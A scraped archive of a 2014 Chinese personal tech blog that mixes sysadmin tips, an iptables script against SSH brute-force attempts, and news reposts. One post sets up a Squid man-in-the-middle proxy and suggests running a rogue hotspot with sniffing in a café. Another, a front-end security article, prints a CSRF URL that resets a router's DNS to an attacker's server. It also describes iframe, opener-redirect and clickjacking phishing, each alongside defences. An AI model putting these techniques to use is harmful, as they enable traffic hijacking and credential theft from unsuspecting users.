[![keybump-inline-lead-660x443](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/7680fed43b_b0fa50be4a81b3e7d35039a68cb84482.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/7680fed43b_b0fa50be4a81b3e7d35039a68cb84482.jpg "3D打印的撞匙:几乎可以开所有锁") 撞匙是锁匠(和黑客)用来开一些普通锁所使用的的简单工具。到目前为止,很多锁由于过于复杂无法被撞匙打开,所以还是安全的,也因此由于这种复杂性而让人有一点安全感。而这一切现在都发生了改变。 由乔斯·威尔斯(Jos Weyers)和克里斯蒂安·霍勒(Christian Holler)创造出来的这些钥匙,在被锤子撞击后,可以用来敲打或撞击开标准锁的锁芯。这两人发现了根据锁孔本身的照片来3D打印一个适合锁眼的塑料钥匙的方法。在塑料材料经过几次精细的裁剪之后,你就可以拿到一个可用的钥匙了。 [视频展示了它的工作原理](http://www.wired.com/2014/08/3d-printed-bump-keys/?mbid=social_twitter)——以及它的简单易用。 两人并不希望人们用这个工具闯入军事设施。相反,他们想要展示大多数门锁是如何地原始,而且要骗过安全系统真的是变得越来越容易。如果任何人只要有3D打印机和相机就可以制作一把钥匙,那为什么还要锁呢? [3D打印的撞匙:几乎可以开所有锁](http://www.geekfan.net/11782/),首发于[极客范 – GeekFan.net](http://www.geekfan.net)。 --- ## php中增加mongodb支持 Date: 2014-08-31 URL: https://blog.wo.ai/archives/726 Categories: Technology 网上使用云数据库已经火了很长一段时间了,今天我也试试看这个功能。但是php并不自带mongodb模块,只能从github下载了编译安装模块。 (下载地址:https://github.com/mongodb/mongo-php-driver/archive/master.zip),下载该源码包,然后执行以下命令: $ unzip master $ cd mongo-php-driver-master $ phpize $ ./configure $ make && make install 如果你的php是自己编译的,则安装方法如下(假设是编译在/usr/local/php目录中): $ unzip master $ cd mongo-php-driver-master $ /usr/local/php/bin/phpize $ ./configure –enable-mongo=share –with-php-config=/usr/local/php/bin/php-config $ make && make install 最后出现的提示Build complete.Don’t forget to run ‘make test’. Installing shared extensions: /usr/local/php/lib/php/extensions/no-debug-non-zts-20090626/ 说明安装成功 接下来配置php.ini 编辑php.ini 加入 extension=mongo.so 可以在phpinfo里面看到mongo就大功告成了。 --- ## 如何用正确姿势调戏蹭网者? Date: 2014-08-30 URL: https://blog.wo.ai/archives/759 Categories: Uncategorized **这篇文章本来是知乎回答的一个问题,但是由于本人五行缺勤奋,所以一直没写(其实是忘了=。=),下面是我的一个实验,如何通过squid调戏那些蹭网的人。没什么技术含量,请大牛不要笑话~** 声明:本实验仅作为技术分享,一把刀用来砍什么,由你决定。 先上效果: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/5a15efdad1_63918611gw1ejuhzb6utjj20j60asdj4.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/d4902e8035_63918611gw1ejuhzbrjb3j20j60as0v8.jpg) 是不是有点意思? 这里还需要说明一件事情 本文目的在于分享,采用的方式是国外的Pete大大的一种做法,效果不错, 但是这里不是重复造轮子,实在是Pete先僧写得过于简略,作为事件主角的squid居然被一笔带过,squid表示相当不爽(╯‵□′)╯︵┻━┻ 。如果可以通过上面的描述实现这个效果的,就不用往下看我的废话连篇了~如果你和我一样开始遇到过问题,那就跟着我走吧~ 先说一下大体的思路。既然是要对网页中的图片进行操作,那么我们首先需要把图片下载到本地,然后进行变换之后再输出到客户端机器上面,就实现了图片的翻转,水印,模糊等各种捉弄人的效果。当然功能绝不仅仅是这样就算了,更多功能,大家看完之后不妨多挖掘一下,我就不多废话了~ 好的,那么下面我们正式开始! **0×01 实验环境** 我先说一下我的实验环境: > > 主机:ubuntu > 虚拟机:windowsXP(vbox) > 软件:squid、apache 拓扑环境就不多废话了,我这边是host通过wlan0上网,虚拟机选择Host-Only模式,连接到主机的vboxnet0接口(默认的,我没修改)。 **0×02 系统配置** 这里,我们首先要把系统的网络转发功能打开,可以使用 echo 1 > /proc/sys/net/ipv4/ip_forward 暂时启用,当然也可以修改sysctl.conf永久转发。 然后,对虚拟机进行ip设定,我这里设置为192.168.56.21,子网掩码255.255.255.0 **0×03 软件设置** 下面我们进行软件的设置。 apache不多说了,你可以指定一个本地路径作为网络分享的地址,作用主要是发布修改后的图片,我这里的路径选择是/mydoc/test/ 接着是squid。 关于squid的安装这里不是重点,网上有很多的教程,我们着重说配置。Squid的配置文件是在/etc/squid(3)下面的squid.conf。为了看起来能凸显得我的高冷气质(楼主自恋程度已经逆天…( _ _)ノ|壁 ),着重配置的点我都已经写在上传的文件里面了,文末我会给出地址,大家可以看一下。 这里之所以说squid是关键,是因为我们主要使用了squid的redircetor的功能,即我们常说的重定向器功能。重定向器可以将收到的url进行改写重定向,而且支持python、perl、C等等语言写的重定向脚本(程序),功能还是很强大的,这里感兴趣的同学不妨玩玩~这里贴上《squid权威指南》中关于squid的详细描述,有问题可以到这里查阅:http://zyan.cc/book/squid/chap11.html 然后,我们把脚本文件放在配置文件中指定的位置,我这里是放在了/etc/squid3/下面,这里需要注意的是文件的权限问题,因为squid默认运行权限是squid用户,隶属于squid组(squid3是proxy用户,proxy组),所以如果squid没有权限执行脚本文件的时候是会报错的。这里的脚本文件我直接使用了Pete大大给出的perl脚本进行了一点点修改,可能是因为Pete直接从本地测试的,所以脚本有一点点的小问题,大家也可以从我给出的网址上下载。 然后我们配置虚拟机的代理。因为这里我没有用iptables进行流量转发,为了方便,直接配置了浏览器的代理配置,这里代理IP 192.168.56.1:8080,当然大家也可以使用iptables进行转发,这样就可以了。 最后我们重启squid。 sudo service squid restart (squid3的服务名称是squid3),这里注意对于squid的任何操作一定要记得用sudo执行,否则会报错。 **0×04 检验效果** 这个时候,我们打开虚拟机,输入http://www.baidu.com,就应该可以看到baidu的logo是反向的了,打开更多网页试试吧~是不是很好玩?23333。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/1c844e7169_63918611gw1ejuhzc6f1zj20j60asmz8.jpg) 当然,脚本只是使用了flip选项,当然这里不建议使用过于复杂的命令,会使浏览器响应过于慢。关于imagemagic的更多的效果可以从网上查阅,是一个相当强大的命令行图片控制软件。 **0×05 更多猜想** 实验已经成功,那么我们说回到我们今天的MITM主题上面。有的同学或许会问:你得得得得说这么多,怎么应用啊?我这里提供一个小的方式,抛砖引玉: 可以买一树莓派,买一个usb上网卡,一张中国联通或者中国电信的卡,再买一个无线网卡,用airport建个无线信号,买个电源,装上linux配置好squid,当然还可以打开sniff,配好接收数据的服务器。。 剩下的就是:背好你的背包,默默走到斯达巴克斯,点一杯咖啡,用吸管慢慢品尝这份苦茗,望向窗外花坛那朵玫瑰,心里静静地想着那个TA。。。 说道这里,大家可能会想到菠萝,其实因为菠萝使用的是openwrt的精简系统,很多东西不可以使用,而且配置比起树莓派低了一些,大批量的图片操作很容易让CPU狂飙,自带的MITM最近貌似也不能用了?不过还是推荐Geek们自行动手~ 如果有更多的想法,我们一起交流。 **0×06 注意事项** 因为我在做实验的过程中也遇到了很多问题,这里贴出一些常见的问题,大牛略过吧~:) 1、注意接收图片文件夹的权限和隶属于的用户,最好是能与squid用户相同的用户组。如果不是,可以使用chown进行修改。例:chown proxy.proxy xxx 2、注意脚本文件的权限。脚本文件必须是可以被squid用户执行的。 3、注意log文件的权限,关于log文件一共有三个,位于/var/log/squid3/下,分别是cache.log、store.log、access.log,这三个文件必须是可写的,同时也可以直接用chown改变用户所有权限。 4、遇到更多虚拟机打不开网页的问题,大家可以查阅/var/log/squid3/cache.log,这里会给出很详细的说明。 这里我能想到的暂时就这么多了,再有什么其他问题我们可以一起交流,我这里有一把肥皂。。。 **0×07 写在最后** 最后,也没什么好说的了,附上链接: 上几张图吧~ ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/a37a88319b_63918611gw1ejuhzcp1bkj20j60astdx.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/8a1ba0a35c_63918611gw1ejuhzdqu24j20j60asq72.jpg) [如何用正确姿势调戏蹭网者?](http://blog.jobbole.com/76247/),首发于[博客 – 伯乐在线](http://blog.jobbole.com)。 --- ## 疯狂车库发明家继续疯狂,变身焰火侠 Date: 2014-08-29 URL: https://blog.wo.ai/archives/716 Categories: Uncategorized [![tin-man](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b4162d25b5_ceceb1ac364e8c940203402216d83398.gif)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b4162d25b5_ceceb1ac364e8c940203402216d83398.gif "疯狂车库发明家继续疯狂,变身焰火侠") 抬头看烟花好累,有没有想过置身其中体验一把百焰齐发的感觉? 你可以[遥控四轴飞行器](https://www.youtube.com/watch?v=a9KZ3jgbbmI)飞过烟花丛,然后拍下来。或者,如果觉得自己够劲暴,你可以穿上全金属防护铠甲,身上绑满炮仗,等待点火的一刻。 [视频里的老兄](https://www.youtube.com/watch?v=eA46WFX7jWA)好像有点面熟?没错,这个疯狂举动依旧是我们最爱的疯狂车库发明家柯林·福尔泽(Colin Furze)业余时间捣鼓出的大作。 还记得全自动伸缩金刚狼爪吗?那是他的作品。还记得能在天花板上凌波微步的反重力靴子吗?那也是他的作品。还记得装在手腕上的火焰喷射器吗?没错,还是他的作品。 虽然有点老生常谈,但我还是要说:非专业人士请勿模仿。或者容我改一下措辞:非柯林·福尔泽本人,请勿模仿。 [疯狂车库发明家继续疯狂,变身焰火侠](http://www.geekfan.net/11771/),首发于[极客范 – GeekFan.net](http://www.geekfan.net)。 --- ## Web 前端攻防(2014版) Date: 2014-08-27 URL: https://blog.wo.ai/archives/758 Categories: Uncategorized **禁止一切外链资源** 外链会产生站外请求,因此可以被利用实施 CSRF 攻击。 目前国内有大量路由器存在 CSRF 漏洞,其中相当部分用户使用默认的管理账号。通过外链图片,即可发起对路由器 DNS 配置的修改,这将成为国内互联网最大的安全隐患。 **案例演示** 百度旅游在富文本过滤时,未考虑标签的 style 属性,导致允许用户自定义的 CSS。因此可以插入站外资源: ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/eeebe74096_63918611gw1ejrccuj8h2j20mn0j6jtb.jpg) 所有浏览该页面的用户,都能发起任意 URL 的请求: ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b547c157ab_63918611gw1ejrccvew0jj20mn0hujto.jpg) 由于站外服务器完全不受控制,攻击者可以控制返回内容: * 如果检测到是管理员,或者外链检查服务器,可以返回正常图片; * 如果是普通用户,可以返回 302 重定向到其他 URL,发起 CSRF 攻击。例如修改路由器 DNS: http://admin:admin@192.168.1.1/userRpm/PPPoECfgAdvRpm.htm?wan=0&lcpMru=1480&ServiceName=&AcName=&EchoReq=0&manual=2&dnsserver=黑客服务器&dnsserver2=4.4.4.4&downBandwidth=0&upBandwidth=0&Save=%B1%A3+%B4%E6&Advanced=Advanced ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/3415363ce4_63918611gw1ejrccwbk1aj20n60hujub.jpg) 演示中,随机测试了几个帖子,在两天时间里收到图片请求 500 多次,已有近 10 个不同的 IP 开始向我们发起 DNS 查询。 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/36ebbc2979_63918611gw1ejrccx7awmj20i102n74t.jpg) 通过中间人代理,用户的所有隐私都能被捕捉到。还有更严重的后果,查考[流量劫持危害探讨](http://fex.baidu.com/blog/2014/04/traffic-hijack-2/) 要是在热帖里『火前留名』,那么数量远不止这些。 如果使用发帖脚本批量回复,将有数以万计的用户网络被劫持。 **防范措施** 杜绝用户的一切外链资源。需要站外图片,可以抓回后保存在站内服务器里。 对于富文本内容,使用白名单策略,只允许特定的 CSS 属性。 尽可能开启 Content Security Policy 配置,让浏览器底层来实现站外资源的拦截。 **富文本前端扫描** 富文本是 XSS 的重灾区。 富文本的实质是一段 HTML 字符。由于历史原因,HTML 兼容众多不规范的用法,导致过滤起来较复杂。几乎所有使用富文本的产品,都曾出现过 XSS 注入。 **案例演示** 旅游发帖支持富文本,我们继续刚才的演示。 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/37c0deccf9_63918611gw1ejrccyqtvrj20lx0bnwft.jpg) 由于之前已修复过几次,目前只能注入 embed 标签和 src 属性。 但即使这样,仍然可以嵌入一个框架页面: ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/ec00fed0b2_63918611gw1ejrcczcgtcj20m10bswfq.jpg) 因为是非同源执行的 XSS,所以无法获取主页面的信息。但是可以修改 top.location,将页面跳转到第三方站点。 将原页面嵌入到全屏的 iframe 里,伪造出相同的界面。然后通过浮层登录框,进行钓鱼。 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/061d9806e2_63918611gw1ejrcd08qisj20nv0gwdi2.jpg) 总之,富文本中出现可执行的元素,页面安全性就大打折扣了。 **防范措施** 这里不考虑后端的过滤方法,讲解使用前端预防方案: 无论攻击者使用各种取巧的手段,绕过后端过滤,但这些 HTML 字符最终都要在前端构造成元素,并渲染出来。 因此可以在 DOM 构造之后、渲染之前,对离屏的元素进行风险扫描。将可执行的元素(script,iframe,frame,object,embed,applet)从缓存中移除。 或者给存在风险的元素,加上沙箱隔离属性。 * 例如 iframe 加上 _sandbox_ 属性,即可只显示框架内容而不运行脚本 * 例如 Flash 加上 _allowScriptAccess_ 及 _allowNetworking_ ,也能起到一定的隔离作用。 DOM 仅仅被构造是不会执行的,只有添加到主节点被渲染时才会执行。所以这个过程中间,可以实施安全扫描。 实现细节可以参考:[http://www.etherdream.com/FunnyScript/richtext _safe_ render.html](http://www.etherdream.com/FunnyScript/richtext_safe_render.html) 如果富文本是直接输入到静态页面里的,可以考虑使用 MutationEvent 进行防御。详细参考: 但推荐使用动态方式进行渲染,可扩展性更强,并且性能消耗最小。 **跳转 opener 钓鱼** 浏览器提供了一个 opener 属性,供弹出的窗口访问来源页。但该规范设计的并不合理,导致通过超链接打开的页面,也能使用 opener。 因此,用户点了网站里的超链接,导致原页面被打开的第三方页面控制。 虽然两者受到同源策略的限制,第三方无法访问原页面内容,但可以跳转原页面。 由于用户的焦点在新打开的页面上,所以原页面被悄悄跳转,用户难以觉察到。当用户切回原页面时,其实已经在另一个钓鱼网站上了。 **案例演示** 百度贴吧目前使用的超链接,就是在新窗口中弹出,因此同样存在该缺陷。 攻击者发一个吸引用户的帖子。当用户进来时,引诱他们点击超链接。 通常故意放少部分的图片,或者是不会动的动画,先让用户预览一下。要是用户想看完整的,就得点下面的超链接: ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/c3ec371733_63918611gw1ejrcd0nbddj20ke0fkq4p.jpg) 由于扩展名是 gif 等图片格式,大多用户就毫无顾虑的点了。 事实上,真正的类型是由服务器返回的 MIME 决定的。所以这个站外资源完全有可能是一个网页: ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/6176776d0a_63918611gw1ejrcd1tt3ej20ke0fk0uo.jpg) 当用户停留在新页面里看动画时,隐匿其中的脚本已悄悄跳转原页面了。 用户切回原页面时,其实已在一个钓鱼网站上: ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/6a128899b8_63918611gw1ejrcd2i0odj20ke0fkwgc.jpg) 在此之上,加些浮层登录框等特效,很有可能钓到用户的一些账号信息。 **防范措施** 该缺陷是因为 opener 这个属性引起的,所以得屏蔽掉新页面的这个属性。 但通过超链接打开的网页,无法被脚本访问到。只有通过 window.open 弹出的窗口,才能获得其对象。 所以,对页面中的用户发布的超链接,监听其点击事件,阻止默认的弹窗行为,而是用 window.open 代替,并将返回窗体的 opener 设置为 null,即可避免第三方页面篡改了。 详细实现参考: 当然,实现中无需上述 Demo 那样复杂。根据实际产品线,只要监听用户区域的超链接就可以。 **用户内容权限** 支持自定义装扮的场合,往往是钓鱼的高发区。 一些别有用心者,利用装扮来模仿系统界面,引诱用户上钩。 **案例演示 – 空间越界** 百度空间允许用户撰写自定格式的内容。 其本质是一个富文本编辑器,这里不演示 XSS 漏洞,而是利用样式装扮,伪装一个钓鱼界面。 百度空间富文本过滤元素、部分属性及 CSS 样式,但未对 class 属性启用白名单,因此可以将页面上所有的 CSS 类样式,应用到自己的内容上来。 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/84422ae900_63918611gw1ejrcd33ecsj20i30art9k.jpg) **防范措施** 规定用户内容尺寸限制,可以在提交时由用户自己确定。 不应该为用户的内容分配无限的尺寸空间,以免恶意用户设置超大字体,破坏整个页面的浏览。 最好将用户自定义的内容嵌套在 iframe 里,以免影响到页面其他部位。 如果必须在同页面,应将用户内容所在的容器,设置超过部分不可见。以免因不可预测的 BUG,导致用户能将内容越界到产品界面上。 **案例演示 – 功能越界** 自定义装扮通常支持站外超链接。 相比贴吧这类简单纯文字,富文本可以将超链接设置在其他元素上,例如图片。 因此这类链接非常具有迷惑性,用户不经意间就点击到。很容易触发之前提到的修改 opener 钓鱼。 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/cffabf56fa_63918611gw1ejrcd3yyghj20na0f7abp.jpg) 如果在图片内容上进行伪装,更容易让用户触发一些危险操作。 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/4447e97c60_63918611gw1ejrcd4otgoj20nd0famyd.jpg) 要是和之前的区域越界配合使用,迷惑性则更强: ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/0185a0777d_63918611gw1ejrcd5bqskj20n80f7dhl.jpg) ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b2b036e069_63918611gw1ejrcd64dbfj20n50f8wfl.jpg) **防范措施** 和之前一样,对于用户提供的超链接,在点击时进行扫描。如果是站外地址,则通过后台跳转进入,以便后端对 URL 进行安全性扫描。 如果服务器检测到是一个恶意网站,或者目标资源是可执行文件,应给予用户强烈的警告,告知其风险。 **点击劫持检测** 点击劫持算是比较老的攻击方式了,基本原理大家也都听说过。就是在用户不知情的前提下,点击隐藏框架页面里的按钮,触发一些重要操作。 但目前在点击劫持上做防御的并不多,包括百度绝大多数产品线目前都未考虑。 **案例演示** 能直接通过点击完成的操作,比较有意义的就是关注某用户。例如百度贴吧加关注的按钮: ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/8ecab619ad_63918611gw1ejrcd6r69aj20gr0ajgmp.jpg) 攻击者事先算出目标按钮的尺寸和坐标,将页面嵌套在自己框架里,并设置框架的偏移,最终只显示按钮: ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/e4b185c307_63918611gw1ejrcd74odjj2075051dfs.jpg) 接着通过 CSS 样式,将目标按钮放大,占据整个页面空间,并设置全透明。 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/e1782cf125_63918611gw1ejrcd85l6ej20jw0grgnf.jpg) 这时虽看不到按钮,但点击页面任意位置,都能触发框架页中加关注按钮的点击: ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/ed980a6136_63918611gw1ejrcd8g5fqj20gr0ajmy8.jpg) **防范措施** 事实上,点击劫持是很好防御的。 因为自身页面被嵌套在第三方页面里,只需判断 self == top 即可获知是否被嵌套。 对一些重要的操作,例如加关注、删帖等,应先验证是否被嵌套。如果处于第三方页面的框架里,应弹出确认框提醒用户。 确认框的坐标位置最好有一定的随机偏移,从而使攻击者构造的点击区域失效。 [Web 前端攻防(2014版)](http://blog.jobbole.com/76068/),首发于[博客 – 伯乐在线](http://blog.jobbole.com)。 --- ## 删除手机QQ之后 Date: 2014-08-27 URL: https://blog.wo.ai/archives/658 Categories: Chatterbox 果然效率大增啊,反正要用时候临时上一下电脑QQ就好了。这年头可选的即时通信交流的工具太多,分散的时间太多了,非即时的也许效率还高一些。 --- ## php破解QQ空间防盗链 Date: 2014-08-26 URL: https://blog.wo.ai/archives/656 Categories: Technology 发现之前发的一些帖子引用了QQ空间的照片,这些照片都无法正常显示了。给wordpress下载了远程下载图片的插件,似乎没法正常工作,在网上另外找了段防盗链的方法,这些照片都可以正常显示了。 --- ## 终于有了归宿 Date: 2014-08-26 URL: https://blog.wo.ai/archives/629 Categories: Chatterbox 一个大龄美女博士,终于找到了自己的归宿,恭喜。 [hana-flv-player video=”https://web.archive.org/web/2/https://blog.wo.ai/wp-content/uploads/2014/09/mba06.flv” width=”300″ description=”mba06″ player=”5″ autoload=”true” autoplay=”false” loop=”false” autorewind=”true” /] LM’s: MBA06’s: --- ## ssh后台运行 linux重定向及nohup不输出的方法 Date: 2014-08-25 URL: https://blog.wo.ai/archives/622 Categories: Technology linux重定向及nohup不输出的方法 先说一下linux重定向: 0、1和2分别表示标准输入、标准输出和标准错误信息输出,可以用来指定需要重定向的标准输入或输出。 在一般使用时,默认的是标准输出,既1.当我们需要特殊用途时,可以使用其他标号。例如,将某个程序的错误信息输出到log文件中:./program 2>log。这样标准输出还是在屏幕上,但是错误信息会输出到log文件中。 另外,也可以实现0,1,2之间的重定向。2>&1:将错误信息重定向到标准输出。 Linux下还有一个特殊的文件/dev/null,它就像一个无底洞,所有重定向到它的信息都会消失得无影无踪。这一点非常有用,当我们不需要回显程序的所有信息时,就可以将输出重定向到/dev/null。 如果想要正常输出和错误信息都不显示,则要把标准输出和标准错误都重定向到/dev/null, 例如: # ls 1>/dev/null 2>/dev/null 还有一种做法是将错误重定向到标准输出,然后再重定向到 /dev/null,例如: # ls >/dev/null 2>&1 注意:此处的顺序不能更改,否则达不到想要的效果,此时先将标准输出重定向到 /dev/null,然后将标准错误重定向到标准输出,由于标准输出已经重定向到了/dev/null,因此标准错误也会重定向到/dev/null,于是一切静悄悄:-) 由于使用nohup时,会自动将输出写入nohup.out文件中,如果文件很大的话,nohup.out就会不停的增大,这是我们不希望看到的,因此,可以利用/dev/null来解决这个问题。 nohup ./program >/dev/null 2>log & 如果错误信息也不想要的话: nohup ./program >/dev/null 2>&1 & 要实现守护进程,一种方法是按守护进程的规则去编程(本站有文章介绍过),比较麻烦;另一种方法是仍然用普通方法编程,然后用nohup命令启动程序: nohup & 则控制台logout后,进程仍然继续运行,起到守护进程的作用(虽然它不是严格意义上的守护进程)。 使用nohup命令后,原程序的的标准输出被自动改向到当前目录下的nohup.out文件,起到了log的作用,实现了完整的守护进程功能。 ygwu @ 2005年04月18日 上午10:03 For example: 如何远程启动WebLogic服务? 用telnet远程控制服务器,远程启动WEBLOGIC服务,启动后关闭telnet,WebLogic服务也跟着停止,这是因为使用telnet启动的进程会随着telnet进程的关闭而关闭。所以我们可以使用一些UNIX下的命令来做到不关闭。 使用如下命令: nohup startWeblogic.sh& 如果想要监控标准输出可以使用: tail -f nohup.out 访客留言 FreeBSD可以同时运行多个进程,在shell下直接输入命令后,shell将进程放到前台执行。如果要将进程放到后台执行,需要在命令行的结尾加上一个 “&” 符号。下面的命令从后台执行,从ftp.isc.org下载文件。 $ fetch ftp://ftp.isc.org/pub/inn/inn-1.7.2.tar.gz & 当程序已经在前台执行的时候,可以使用^Z将这个程序挂起,暂停执行。然后可以使用bg命令将这个挂起的程序放到后台执行,或者使用fg将某个在后台或挂起的进程放到前台执行。 当在后台运行了程序的时候,可以用jobs命令来查看后台作业的状态。在有多个后台程序时,要使用来参数的fg命令将不同序号的后台作业切换到前台上运行。 $ jobs [1]+ Running fetch ftp://ftp.isc.org/pub/inn/inn-1.7.2.tar.gz & $ fg %1 fetch ftp://ftp.isc.org/pub/inn/inn-1.7.2.tar.gz 在启动了多个程序之后,可以使用ps命令来查看这些进程及其状态。 $ ps PID TT STAT TIME COMMAND 501 p2 Ss 0:00.24 -bash (bash) 988 p2 R+ 0:00.00 ps 765 p3 Is+ 0:00.28 -bash (bash) 230 v0 Is+ 0:00.14 -bash (bash) 显示的结果包括进程的标识号PID,控制终端TT(p0表示控制终端为ttyp0),进程的状态STAT,进程使用的处理器时间TIME和具体的命令。 可以给ps命令加上参数,来获得更多的输出内容,以下命令将输出系统中所有的进程: $ ps waux USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND wb 989 0.0 0.4 400 236 p2 R+ 5:48PM 0:00.00 ps -aux root 1 0.0 0.1 496 72 ?? Is 10:12PM 0:00.02 /sbin/init — root 2 0.0 0.0 0 0 ?? DL 10:12PM 0:07.05 (pagedaemon) root 3 0.0 0.0 0 0 ?? DL 10:12PM 0:00.20 (vmdaemon) root 4 0.0 0.0 0 0 ?? DL 10:12PM 0:04.27 (syncer) root 27 0.0 0.0 204 0 ?? IWs – 0:00.00 (adjkerntz) root 91 0.0 0.5 820 328 ?? Is 2:12PM 0:00.82 syslogd daemon 100 0.0 0.0 792 0 ?? IWs – 0:00.00 (portmap) root 131 0.0 0.3 864 164 ?? Is 2:12PM 0:00.06 inetd root 134 0.0 0.3 980 192 ?? Is 2:12PM 0:00.11 cron root 138 0.0 0.6 1252 380 ?? Is 2:12PM 0:00.11 sendmail: accepti wb 230 0.0 1.1 1540 668 v0 Is+ 2:12PM 0:00.14 -bash (bash) root 231 0.0 0.0 824 0 v1 IWs+ – 0:00.00 (getty) root 232 0.0 0.0 824 0 v2 IWs+ – 0:00.00 (getty) root 500 0.0 0.9 876 524 ?? Ss 4:19PM 0:01.78 telnetd wb 501 0.0 1.4 1540 888 p2 Ss 4:19PM 0:00.24 -bash (bash) root 698 0.0 1.5 1644 900 ?? Is 4:49PM 0:00.02 /usr/local/sbin/s root 700 0.0 1.2 1308 748 ?? Ss 4:49PM 0:00.22 /usr/local/sbin/n root 702 0.0 3.4 2900 2112 ?? S 4:49PM 0:00.32 /usr/local/sbin/s root 764 0.0 0.9 880 540 ?? Is 5:10PM 0:00.22 telnetd wb 765 0.0 1.7 1536 1052 p3 Is+ 5:10PM 0:00.28 -bash (bash) root 0 0.0 0.0 0 0 ?? DLs 10:12PM 0:00.02 (swapper) 当用户启动一个进程的时候,这个进程是运行在前台,使用与相应控制终端相联系的标准输入、输出进行输入和输出。即使将进程的输入输出重定向,并将进程放在后台执行,进程仍然和当前终端设备有关系。正因为如此,在当前的登录会话结束时,控制终端设备将和登录进程相脱离,那么系统就向所有与这个终端相联系的进程发送SIGHUP的信号,通知进程线路已经挂起了,如果程序没有接管这个信号的处理,那么缺省的反应是进程结束。因此普通的程序并不能真正脱离登录会话而运行进程,为了使得在系统登录后还可以正常执行,只有使用命令nohup来启动相应程序。 从上面的ps的输出结果可以看出,有些程序没有控制终端,这些程序通常是一些后台进程。使用命令nohup当然可以启动这样的程序,但nohup启动的程序在进程执行完毕就退出,而常见的一些服务进程通常永久的运行在后台,不向屏幕输出结果。在Unix中这些永久的后台进程称为守护进程(daemon)。守护进程通常从系统启动时自动开始执行,系统关闭时才停止。如果偶然某个守护进程消失了,那么它提供的服务将不再能被使用。 在守护进程中,最重要的一个是超级守护进程inetd,这个进程接管了大部分网络服务,但并不是对每个服务都自己进行处理,而是依据连接请求,启动不同的服务程序与客户机打交道。inetd支持网络服务种类在它的设置文件/etc/inet.conf中定义。inet.conf文件中的每一行就对应一个端口地址,当inetd接受到连接这个端口的连接请求时,就启动相应的进程进行处理。使用inetd的好处是系统不必启动很多守护进程,从而节约了系统资源,然而使用inetd启动守护进程相应反应会迟缓一些,不适合用于被密集访问的服务进程 --- ## 博客启动全面SSL加密 Date: 2014-08-25 URL: https://blog.wo.ai/archives/624 Categories: Life, Technology 貌似现各大运营商还有广告商也在全面搜集记录个人隐私,只好开启SSL加密。后台和数据库管理都强制SSL,博客前台SSL和非SSL都可以。感谢美帝免费提供证书。 --- ## 用iptables自动封IP,防SSH被暴力破解 Date: 2014-08-24 URL: https://blog.wo.ai/archives/618 Categories: Technology 之前没太关注服务器的攻击,几天突然发现/var/log/secure下面有很多ssh登陆失败的日志,甚至同一个ip有两天多次的攻击,吓了一身冷汗。虽然是个人站,没有太多机密资料,但是被攻击总不是好事情。也许哪天攻破后,就被他们用来干坏事了。还是处理一下比较好。 先把ip过滤出来,然后加到iptables里面 #!/bin/bash num=10 #上限 for i in `awk ‘/Failed/{print $(NF-3)}’ /var/log/secure|sort|uniq -c|sort -rn|awk ‘{if ($1>$num){print $2}}’` do #先删除该条,防止重复的规则,虽然iptables可以执行重复的规则,也许会影响到执行的性能,还是删掉比较好。 iptables -D INPUT -p tcp -s $i –dport 22 -j DROP #添加规则 iptables -I INPUT -p tcp -s $i –dport 22 -j DROP done 另外写了一条,将日志导出到某个文件,方便查看 cat /var/log/secure|awk ‘/Failed/{print $(NF-3)}’|sort|uniq -c|sort -rn|awk ‘{print $2″=”$1;}’ >/path/fail.txt 将这两条都加入到crontab里面,隔几分钟执行一次。 另外强烈鄙视一下下面这些IP,诅咒早日关门大吉。 116.10.191.165=162 116.10.191.183=183 116.10.191.196=113 116.10.191.204=135 116.10.191.227=184 116.10.191.229=41 116.10.191.230=173 117.21.225.157=301 117.79.91.244=882 212.83.150.76=24 61.174.50.235=170 61.174.51.232=35 61.33.155.74=124 82.221.106.233=1 1.234.70.30=23 115.239.248.121=72 115.239.248.122=90 115.239.248.50=24 115.239.248.51=18 115.239.248.57=12 115.239.248.61=144 115.239.248.90=60 116.10.191.167=142 116.10.191.175=168 116.10.191.236=26 117.21.191.209=48 117.21.191.210=78 117.21.225.157=78 117.21.226.103=60 183.56.129.146=20 198.8.61.141=15 220.177.198.24=228 220.177.198.38=30 220.177.198.40=90 220.177.198.43=12 220.177.198.93=264 222.186.34.143=138 222.186.34.36=330 222.186.38.109=42 222.186.40.170=306 222.186.40.251=198 222.186.56.33=48 58.241.61.162=53 60.173.26.16=2594 61.174.50.216=40 61.174.51.207=151 61.174.51.217=150 61.174.51.227=222 61.174.51.235=2 --- ## LM居英雄传 – 第二章 Date: 2014-08-23 URL: https://blog.wo.ai/archives/599 Categories: Funny, Life, Springfield 第二章 二少传 